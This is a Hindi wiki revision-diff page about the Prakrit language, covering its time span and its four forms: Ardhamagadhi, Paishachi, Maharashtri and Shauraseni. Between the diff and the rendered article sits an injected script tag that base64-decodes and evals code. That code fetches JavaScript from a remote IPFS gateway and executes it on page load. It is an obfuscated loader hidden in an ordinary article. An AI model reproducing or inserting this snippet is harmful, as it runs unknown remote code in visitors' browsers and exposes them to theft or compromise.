"प्राकृत" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
छो |
आदित्य चौधरी (चर्चा | योगदान) छो (Text replace - 'पू0' to 'पू॰') |
||
(५ सदस्यों द्वारा किये गये बीच के ७ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | {{menu}} | + | {{menu}} |
==प्राकृत भाषा / Prakrit Dialect== | ==प्राकृत भाषा / Prakrit Dialect== | ||
− | + | ||
− | प्राकृत भाषा भारतीय आर्यभाषा का एक प्राचीन रूप है। इसके प्रयोग का समय 500 | + | प्राकृत भाषा भारतीय आर्यभाषा का एक प्राचीन रूप है। इसके प्रयोग का समय 500 ई॰पू॰ से 1000 ई॰ सन तक माना जाता है। धार्मिक कारणों से जब [[संस्कृत]] का महत्व कम होने लगा तो प्राकृत भाषा अधिक व्यवहार में आने लगी। इसके चार रूप विशेषत: उल्लेखनीय हैं। |
#अर्धमागधी प्राकृत- इसमें [[जैन]] और [[बौद्ध]] साहित्य अधिक है। इसका मुख्य क्षेत्र [[मगध]] था। | #अर्धमागधी प्राकृत- इसमें [[जैन]] और [[बौद्ध]] साहित्य अधिक है। इसका मुख्य क्षेत्र [[मगध]] था। | ||
#पैशाची प्राकृत- इसका क्षेत्र देश का पश्चिमोत्तर भाग था और विद्वान कश्मीरी आदि भाषा को इसकी उत्तराधिकारी भाषा मानते हैं। | #पैशाची प्राकृत- इसका क्षेत्र देश का पश्चिमोत्तर भाग था और विद्वान कश्मीरी आदि भाषा को इसकी उत्तराधिकारी भाषा मानते हैं। | ||
#महाराष्ट्री प्राकृत- यह व्यापक रूप से प्रचलित थी और महाराष्ट्र में फैली होने के कारण इस नाम से पहिचानी जाती थी। | #महाराष्ट्री प्राकृत- यह व्यापक रूप से प्रचलित थी और महाराष्ट्र में फैली होने के कारण इस नाम से पहिचानी जाती थी। | ||
− | #शौरसेनी प्राकृत- इसका क्षेत्र [[मथुरा]] और मध्य प्रदेश का आँचल था। इस भाषा में अनेक ग्रंथ रचे गए जिनमें जैन धर्मग्रंथों की संख्या अधिक हैं संस्कृत के प्राचीन नाटकों में भी स्त्री पात्रों और जनसामान्य के संवादों के लिए प्राकृत भाषा का ही प्रयोग हुआ है। मध्यदेशी भाषा ही बाद में शौरसेनी प्राकृत का क्षेत्र बनी। प्राचीन 'शूरसेन' जनपद के नाम पर इसका नामकरण किया गया। | + | #शौरसेनी प्राकृत- इसका क्षेत्र [[मथुरा]] और मध्य प्रदेश का आँचल था। इस भाषा में अनेक ग्रंथ रचे गए जिनमें जैन धर्मग्रंथों की संख्या अधिक हैं संस्कृत के प्राचीन नाटकों में भी स्त्री पात्रों और जनसामान्य के संवादों के लिए प्राकृत भाषा का ही प्रयोग हुआ है। मध्यदेशी भाषा ही बाद में शौरसेनी प्राकृत का क्षेत्र बनी। प्राचीन 'शूरसेन' जनपद के नाम पर इसका नामकरण किया गया। मथुरा इसका केन्द्र था। इसी क्षेत्र में शौरसेनी का कालान्तर में विकास अर्वाचीन लोकव्यापी [[ब्रजभाषा]] के रूप में हुआ। शौरसेनी न केवल अपने क्षेत्र की व्यापक भाषा थी, वरन अन्य प्राकृतों के भाषा-क्षेत्रों को भी इसने यथेष्ट रूप में प्रभावित किया तथा कई उत्तर और पश्चिमोत्तर भाषाओं के उद्भव में सहायता की। इस क्षेत्र में अधिक राजनीतिक उथल-पुथल होने के कारण इसका साहित्य उपलब्ध नहीं होता। केवल संस्कृत नाटकों तथा जैन धर्म के ग्रन्थों में यह सुरक्षित मिलती है। वरूचि तथा [[हेमचन्द्र]] ने इसकी विशेषताओं का विस्तृत परिचय दिया है। |
+ | |||
+ | [[Category:भाषा]] | ||
+ | [[Category: कोश]] | ||
__INDEX__ | __INDEX__ |
०३:०३, ७ अप्रैल २०१० के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
प्राकृत भाषा / Prakrit Dialect
प्राकृत भाषा भारतीय आर्यभाषा का एक प्राचीन रूप है। इसके प्रयोग का समय 500 ई॰पू॰ से 1000 ई॰ सन तक माना जाता है। धार्मिक कारणों से जब संस्कृत का महत्व कम होने लगा तो प्राकृत भाषा अधिक व्यवहार में आने लगी। इसके चार रूप विशेषत: उल्लेखनीय हैं।
- अर्धमागधी प्राकृत- इसमें जैन और बौद्ध साहित्य अधिक है। इसका मुख्य क्षेत्र मगध था।
- पैशाची प्राकृत- इसका क्षेत्र देश का पश्चिमोत्तर भाग था और विद्वान कश्मीरी आदि भाषा को इसकी उत्तराधिकारी भाषा मानते हैं।
- महाराष्ट्री प्राकृत- यह व्यापक रूप से प्रचलित थी और महाराष्ट्र में फैली होने के कारण इस नाम से पहिचानी जाती थी।
- शौरसेनी प्राकृत- इसका क्षेत्र मथुरा और मध्य प्रदेश का आँचल था। इस भाषा में अनेक ग्रंथ रचे गए जिनमें जैन धर्मग्रंथों की संख्या अधिक हैं संस्कृत के प्राचीन नाटकों में भी स्त्री पात्रों और जनसामान्य के संवादों के लिए प्राकृत भाषा का ही प्रयोग हुआ है। मध्यदेशी भाषा ही बाद में शौरसेनी प्राकृत का क्षेत्र बनी। प्राचीन 'शूरसेन' जनपद के नाम पर इसका नामकरण किया गया। मथुरा इसका केन्द्र था। इसी क्षेत्र में शौरसेनी का कालान्तर में विकास अर्वाचीन लोकव्यापी ब्रजभाषा के रूप में हुआ। शौरसेनी न केवल अपने क्षेत्र की व्यापक भाषा थी, वरन अन्य प्राकृतों के भाषा-क्षेत्रों को भी इसने यथेष्ट रूप में प्रभावित किया तथा कई उत्तर और पश्चिमोत्तर भाषाओं के उद्भव में सहायता की। इस क्षेत्र में अधिक राजनीतिक उथल-पुथल होने के कारण इसका साहित्य उपलब्ध नहीं होता। केवल संस्कृत नाटकों तथा जैन धर्म के ग्रन्थों में यह सुरक्षित मिलती है। वरूचि तथा हेमचन्द्र ने इसकी विशेषताओं का विस्तृत परिचय दिया है।